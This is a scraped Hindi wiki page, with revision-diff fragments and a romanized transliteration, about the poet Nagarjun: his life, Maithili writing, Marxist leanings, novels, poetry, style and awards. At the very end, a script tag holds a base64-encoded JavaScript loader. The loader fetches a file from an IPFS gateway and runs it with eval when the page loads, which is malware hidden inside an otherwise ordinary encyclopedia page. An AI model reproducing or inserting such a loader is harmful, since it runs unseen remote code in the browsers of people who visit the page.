Difference between revisions of "नागार्जुन"
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नागार्जुन की प्रकाशित रचनाओं का दूसरा वर्ग कविताओं का है। उनकी अनेक कविताएँ पत्र-पत्रिकाओं में प्रकाशित होती रही हैं। 'युगधारा' (1952) उनका प्रारम्भिक काव्य संकलन है। इधर की कविताओं का एक संग्रह 'सतरंगे पंखोंवाली' प्रकाशित हुआ है। कवि की हैसियत से नागार्जुन प्रगतिशील और एक हद तक प्रयोगशील भी हैं। उनकी अनेक कविताएँ प्रगति और प्रयोग के मणिकांचन संयोग के कारण इस प्रकार के सहज भाव सौंदर्य से दीप्त हो उठी हैं। आधुनिक हिन्दी कविता में शिष्ट गम्भीर तथा सूक्ष्म चुटीले व्यंग्य की दृष्टि से भी नागार्जुन की कुछ रचनाएँ अपनी एक अलग पहचान रखती हैं। इन्होंने कहीं-कहीं सरस मार्मिक प्रकृति चित्रण भी किया है। | नागार्जुन की प्रकाशित रचनाओं का दूसरा वर्ग कविताओं का है। उनकी अनेक कविताएँ पत्र-पत्रिकाओं में प्रकाशित होती रही हैं। 'युगधारा' (1952) उनका प्रारम्भिक काव्य संकलन है। इधर की कविताओं का एक संग्रह 'सतरंगे पंखोंवाली' प्रकाशित हुआ है। कवि की हैसियत से नागार्जुन प्रगतिशील और एक हद तक प्रयोगशील भी हैं। उनकी अनेक कविताएँ प्रगति और प्रयोग के मणिकांचन संयोग के कारण इस प्रकार के सहज भाव सौंदर्य से दीप्त हो उठी हैं। आधुनिक हिन्दी कविता में शिष्ट गम्भीर तथा सूक्ष्म चुटीले व्यंग्य की दृष्टि से भी नागार्जुन की कुछ रचनाएँ अपनी एक अलग पहचान रखती हैं। इन्होंने कहीं-कहीं सरस मार्मिक प्रकृति चित्रण भी किया है। | ||
====भाषा-शैली==== | ====भाषा-शैली==== | ||
| − | {{दाँयाबक्सा|पाठ=नागार्जुन जैसा प्रयोगधर्मा कवि कम ही देखने को मिलता है, चाहे वे प्रयोग लय के हों, छंद के हों, विषयवस्तु के हों।|विचारक=[[ | + | {{दाँयाबक्सा|पाठ=नागार्जुन जैसा प्रयोगधर्मा कवि कम ही देखने को मिलता है, चाहे वे प्रयोग लय के हों, छंद के हों, विषयवस्तु के हों।|विचारक=[[नामवर सिंह]]}} |
नागार्जुन की [[भाषा]] लोक भाषा के निकट है। कुछ कविताओं में [[संस्कृत]] के क्लिष्ट-तत्सम शब्दों का प्रयोग अधिक मात्रा में किया गया है। किन्तु अधिकतर कविताओं और उपन्यासों की भाषा सरल है। तदभव तथा ग्रामीण शब्दों के प्रयोग के कारण इसमें एक विचित्र प्रकार की मिठास आ गई है। नागार्जुन की शैलीगत विशेषता भी यही है। वे लोकमुख की वाणी बोलना चाहते हैं। | नागार्जुन की [[भाषा]] लोक भाषा के निकट है। कुछ कविताओं में [[संस्कृत]] के क्लिष्ट-तत्सम शब्दों का प्रयोग अधिक मात्रा में किया गया है। किन्तु अधिकतर कविताओं और उपन्यासों की भाषा सरल है। तदभव तथा ग्रामीण शब्दों के प्रयोग के कारण इसमें एक विचित्र प्रकार की मिठास आ गई है। नागार्जुन की शैलीगत विशेषता भी यही है। वे लोकमुख की वाणी बोलना चाहते हैं। | ||
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==नागार्जुन रचनावली== | ==नागार्जुन रचनावली== | ||
सात बृहत् खंडों में प्रकाशित नागार्जुन रचनावली है जिसका एक खंड 'यात्री समग्र', जो मैथिली समेत [[बांग्ला भाषा|बांग्ला]], [[संस्कृत]] आदि भाषाओं में लिखित रचनाओं का है। मैथिली कविताओं की अब तक प्रकाशित यात्री जी की दोनों पुस्तकें क्रमशः ‘चित्रा’ और ‘पत्राहीन नग्न गाछ’<ref> साहित्य अकादमी पुरस्कृत</ref> समेत उनकी समस्त छुटफुट मैथिली कविताओं के संग्रह हैं।<ref name="गद्यकोश"/> | सात बृहत् खंडों में प्रकाशित नागार्जुन रचनावली है जिसका एक खंड 'यात्री समग्र', जो मैथिली समेत [[बांग्ला भाषा|बांग्ला]], [[संस्कृत]] आदि भाषाओं में लिखित रचनाओं का है। मैथिली कविताओं की अब तक प्रकाशित यात्री जी की दोनों पुस्तकें क्रमशः ‘चित्रा’ और ‘पत्राहीन नग्न गाछ’<ref> साहित्य अकादमी पुरस्कृत</ref> समेत उनकी समस्त छुटफुट मैथिली कविताओं के संग्रह हैं।<ref name="गद्यकोश"/> | ||
Revision as of 11:31, 1 July 2013
nagarjun
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| poora nam | vaidyanath mishr |
| any nam | nagarjun, yatri |
| janm | 30 joon, 1911 |
| janm bhoomi | madhubani zila, bihar |
| mrityu | 5 navanbar, 1998 |
| mrityu sthan | darabhanga zila, bihar |
| pati/patni | aparajita devi |
| karm bhoomi | bharat |
| karm-kshetr | kavi, lekhak, upanyasakar |
| mukhy rachanaean | ratinath ki chachi (1948 ee.), balachanama (1952 ee.), nayi paudh (1953 ee.), baba batesaranath (1954 ee.), dukhamochan (1957 ee.), varun ke bete (1957 ee.) |
| bhasha | hiandi, maithili, sanskrit |
| puraskar-upadhi | 1969 mean sahity akadami puraskar, 1994 mean sahity akadami phailoship |
| nagarikata | bharatiy |
| sanbandhit lekh | Om shabd hi brahm hai |
| any janakari | nagarjun ne maithili bhasha mean 'yatri' nam se lekhan kiya hai. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
nagarjun (aangrezi: Nagarjuna, janm: 30 joon, 1911 - mrityu:5 navanbar, 1998) pragativadi vicharadhara ke lekhak aur kavi haian. nagarjun ne 1945 ee. ke asapas sahity seva ke kshetr mean qadam rakha. shoonyavad ke roop mean nagarjun ka nam vishesh ullekhaniy hai. nagarjun ka asali nam 'vaidyanath mishr' tha. hindi sahity mean unhoanne 'nagarjun' tatha maithili mean 'yatri' upanam se rachanaoan ka srijan kiya.
jivan parichay
30 joon sanh 1911 ke din jyeshth mas ki poornima ka chandrama hindi kavy jagat ke us divakar ke uday ka sakshi tha, jisane apani faqiri aur bebaqi se apani anokhi pahachan banaee. kabir ki pidhi ka yah mahan kavi nagarjun ke nam se jana gaya. madhubani zile ke 'satalakha gaanv' ki dharati baba nagarjun ki janmabhoomi ban kar dhany ho gee. ‘yatri’ apaka upanam tha aur yahi apaki pravritti ki sanjna bhi thi. paranparagat prachin paddhati se sanskrit ki shiksha prapt karane vale baba nagarjun hindi, maithili, sanskrit tatha baangla mean kavitaean likhate the. maithili bhasha mean likhe ge apake kavy sangrah ‘patrahin nagn gachh’ ke lie apako sahity akadami puraskar se sammanit kiya gaya. hindi kavy-manch par apani satyavadita aur lag-lapet se rahit kavitaean lambe yug tak gane ke bad 5 navambar sanh 1998 ko khvaja saray, darabhanga, bihar mean yah rachanakar hamare bich se vida ho gaya.[1]
sahityik parichay
unake svayan kahe anusar unaki 40 rajanitik kavitaoan ka chirapratikshit sangrah ‘vishakha’ aj bhi upalabdh nahian hai. sanbhavana bhar ki ja sakati hai ki kabhi chhutaphut roop mean prakashit ho gayi ho, kiantu vah is roop mean chihnit nahian hai. so kul milakar tisara sangrah ab bhi pratikshit hi manana chahie. hiandi mean unaki bahut-si kavy pustakean haian. yah sarvavidit hai. unaki pramukh rachana-bhashaean maithili aur hiandi hi rahi haian. maithili unaki matribhasha hai aur hiandi rashtrabhasha ke mahatv se utani nahi jitani unake sahaj svabhavik aur kahean to prakrit rachana-bhasha ke taur par unake b de kavyakarm ka madhyam bani. abatak prakash mean a sake unake samast lekhan ka anupat vismayakari roop se maithili mean bahut kam aur hiandi mean bahut adhik hai. apani prabhavanviti mean ‘akal aur usake bad’ kavita mean abhivyakt nagarjun ki karuna sadharan durbhiksh ke dard se bahut age tak ki lagati hai. 'phatehali' mahaj koee bauddhik pradarshan hai. is path ko prashast karane ka bhi maithili-shrey yatri ji ko hi hai.
maithili-bhasha aandolan
inake poorv tak, maithili lekhak-kavi ke lie bhale maithili-bhasha-aandolan ki aitihasik vivashata rahi ho, lekin kavi-lekhak bahudha is bat aur vyavahar par atmamugdh dhang se sakriy the ki ‘saikil ki haiandil mean apana choo da-sattoo baandhakar mithila ke gaanv-gaanv jakar prachar-prasar karane mean apana jivan dan kar diya. isake badale mean kisi prapti ki asha nahian rakhi. matribhasha ki seva ke badale koee dam kya? maithili aur hiandi ka bhashik vichar unaka hoo-bahoo vaisa nahian paya gaya jaisa am taur se in donoan hi bhashaoan ke itihas-dosh ya rashtrabhasha banam matribhasha ki dvandvatmakata mean dekhane-manane ka chalan hai.[2]
marksavad ka prabhav
marksavad se vah gahare prabhavit rahe, lekin marksavad ke tamam roop aur rang dekhakar vah khinn the. vah poochhate the kaun se marksavad ki bat kar rahe ho, marks ya charu majoomadar ya che gvera ki? isi tarah unhoanne jayaprakash narayan ka samarthan jaroor kiya, lekin jab janata parti viphal rahi to baba ne jayaprakash ko bhi nahian chho da-
khich di viplav dekha hamane
bhoga hamane kraanti vilas
ab bhi khatm nahian hoga kya
poornakraanti ka bhraanti vilas.
kraantikarita mean unaka jabaradast vishvas tha isilie vah jayaprakash ki ahiansak kraanti se lekar naksaliyoan ki sashakt kraanti tak ka samarthan karate the-
kam nahian hai, dam nahian hai
tarunoan ko uthane do bandook
phir karava lena atmasamarpan
lekin isake lie unaki alochana bhi hoti thi ki baba ki koee vicharadhara hi nahian hai, baba kahian tikate hi nahian haian. nagarjun ka manana tha ki vah janavadi haian. jo janata ke hit mean hai vahi mera bayan hai. maian kisi vicharadhara ka samarthan karane ke lie paida nahian hua hooan. maian garib, majadoor, kisan ki bat karane ke lie hi hooan. unhoanne garib ko garib hi mana, use kisi jati ya varg mean vibhajit nahian kiya. tamam arthik abhavoan ke bavajood unhoanne vishad lekhan kary kiya.[3]
kritiyaan
nagarjun ke gitoan mean kavy ki pi da jis layatmakata ke sath vyakt huee hai, vah anyatr kahian nahian dikhaee deti. apane kavy ke sath-sath gady mean bhi lekhani chalaee. apake anek hindi upanyas, ek maithili upanyas tatha sanskrit bhasha se hindi mean anoodit granth bhi prakashit hue. kavy-jagat ko ap ek darjan kavy-sangrah, do khand kavy, do maithili kavita sangrah tatha ek sanskrit kavy ‘dharmalok shatakamh’ thati ke roop mean dekar ge. prakashit kritiyoan mean pahala varg upanyasoan ka hai.
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in aupanyasik kritiyoan mean nagarjun samajik samasyaoan ke sadhe hue lekhak ke roop mean samane ate haian. janapadiy sanskriti aur lok jivan unaki katha-srishti ka chau da phalak hai. unhoanne kahian to aanchalik parivesh mean kisi gramin parivesh ke sukh-du:kh ki kahani kahi hai, kahian marksavadi siddhantoan ki jhalak dete hue samajik andolanoan ka samarthan kiya hai aur kahian-kahian samaj mean vyapt shoshan vritti evan dharmik samajik kritiyoan par kutharaghat kiya hai. in sandarbhoan mean nagarjun ki 'baba batesaranath' rachana ullekhaniy evan paripusht kriti hai. isamean zamiandari unmoolan ke bad ki samajik samasyaoan evan gramin paristhitiyoan ka aankan hua hai aur nidan roop mean samajavadi sangathan dvara vyapak sangharsh ki parikalpa ki gee hai. katha ke prastutikaran ke lie vyavahrit kiye jane vale ek abhinav rochak shilp ki drishti se bhi nagarjun ka yah upanyas mahattvapoorn hai.
kavita
nagarjun ki prakashit rachanaoan ka doosara varg kavitaoan ka hai. unaki anek kavitaean patr-patrikaoan mean prakashit hoti rahi haian. 'yugadhara' (1952) unaka prarambhik kavy sankalan hai. idhar ki kavitaoan ka ek sangrah 'satarange pankhoanvali' prakashit hua hai. kavi ki haisiyat se nagarjun pragatishil aur ek had tak prayogashil bhi haian. unaki anek kavitaean pragati aur prayog ke manikaanchan sanyog ke karan is prakar ke sahaj bhav sauandary se dipt ho uthi haian. adhunik hindi kavita mean shisht gambhir tatha sookshm chutile vyangy ki drishti se bhi nagarjun ki kuchh rachanaean apani ek alag pahachan rakhati haian. inhoanne kahian-kahian saras marmik prakriti chitran bhi kiya hai.
bhasha-shaili
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nagarjun jaisa prayogadharma kavi kam hi dekhane ko milata hai, chahe ve prayog lay ke hoan, chhand ke hoan, vishayavastu ke hoan.
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nagarjun ki bhasha lok bhasha ke nikat hai. kuchh kavitaoan mean sanskrit ke klisht-tatsam shabdoan ka prayog adhik matra mean kiya gaya hai. kintu adhikatar kavitaoan aur upanyasoan ki bhasha saral hai. tadabhav tatha gramin shabdoan ke prayog ke karan isamean ek vichitr prakar ki mithas a gee hai. nagarjun ki shailigat visheshata bhi yahi hai. ve lokamukh ki vani bolana chahate haian.
nagarjun rachanavali
sat brihath khandoan mean prakashit nagarjun rachanavali hai jisaka ek khand 'yatri samagr', jo maithili samet baangla, sanskrit adi bhashaoan mean likhit rachanaoan ka hai. maithili kavitaoan ki ab tak prakashit yatri ji ki donoan pustakean kramashah ‘chitra’ aur ‘patrahin nagn gachh’[4] samet unaki samast chhutaphut maithili kavitaoan ke sangrah haian.[2]
samman aur puraskar
nagarjun ko sahity akadami puraskar se, unaki aitihasik maithili rachana 'patrahin nagn gachh' ke lie 1969 mean sammanit gaya tha. unhean sahity akadami ne 1994 mean sahity akadami phelo ke roop mean bhi namaankit kar sammanit kiya tha.
sahity mean sthan
'yugadhara', khichadi़', 'viphlav dekha hamane', 'patrahin naghn gachh', 'phyasi patharaee aankhean', is gubhbare ki chhaya mean', 'satarange pankhoanvali', 'maian militri ka boodha़ gho da' jaisi rachanaoan se am janata mean chetana phailane vale nagarjun ke sahithy par vimarsh ka saraansh tha ki baba nagarjun janakavi the aur ve apani kavitaoan mean am logoan ke dard ko bayaan karate the. vicharak h aaubhsabam ne is sadi ko ativadoan ki sadi kaha hai. unhhoanne kaha ki nagarjun ka vhyaktithv bisavian shatabhdi ki tamam mahathvapoorn ghatanaoan se nirmit hua tha. ve apani rachanaoan ke madhhyam se shoshanamukht samaj ya yoan kahean ki samatamoolak samaj nirman ke lie prayasarat the. unaki vicharadhara yatharth jivan ke anhtarvirodhoan ko samajhane mean madad karati hai. varsh 1911 isalie mahathvapoorn mana jata hai khyoanki usi varsh shamasher bahadur sianh, kedaranath agraval, phaij evan nagarjun paida hue. unake sangharsh, kriyakalapoan aur upalabdhiyoan ke karan bisavian sadi mahathvapoorn bani. inhhoanne gariboan ke bare mean, janhm dene vali maan ke bare mean, mazadooroan ke bare mean likha. lokabhasha ke virat uthsav mean ve ge aur kavhy bhasha arjit ki. lokabhasha ke sanpark mean rahane ke karan inaki kavitaean auroan se alag hai. suprasiddh kavi alok dhanhva ne nagarjun ki rachanaoan ko sandarbhit karate hue kaha ki unaki kavitaoan mean azadi ki l daee ki aantarvashtu shamil hai. nagarjun ne kavitaoan ke jarie kee l daeeyaan ladian. ve ek kavi ke roop mean hi mahathvapoorn nahian hai apitu ne bharat ke nirmata ke roop mean dikhaee dete haian.[5]
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tika tippani aur sandarbh
- ↑ nagarjun (hiandi) kavyaanchal. abhigaman tithi: 31 janavari, 2013.
- ↑ 2.0 2.1 nagarjun/parichay (hiandi) gadyakosh. abhigaman tithi: 31 janavari, 2013.
- ↑ nagarjun ki kavitaean (hiandi) jagaran jankshan. abhigaman tithi: 1 julaee, 2013.
- ↑ sahity akadami puraskrit
- ↑ nagarjun ki janhmashati par samaroh sanpann (hiandi) vebaduniya hiandi. abhigaman tithi: 31 janavari, 2013.
bahari k diyaan
- nagarjun sarvashreshhth janakavi : namavr sianh
- dhannaseth prakashak aur hindi kavi ki vipannata ka akhyan: anavar suhail
- nagarjun ki pratibaddhata : radheshyam tivari
- kavi chatushtayi janmashati par- vibhootinarayan ray ka samrajyavadi akhyan
- nagarjun ki kavy-chetana hi janachetana hai : alokadhanva
- bhojapur mean nagarjun janmashatabdi samaroh 25 ko
- nagarjun rachanavali
- nagarjun ka kavy shilp
- lok-sarokaroan ke kavi nagarjun
- nagarjun rachana sanchayan
- badal ko ghirate dekha hai
- apane khet mean -nagarjun
- akhir aisa kya kah diya maianne -nagarjun
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>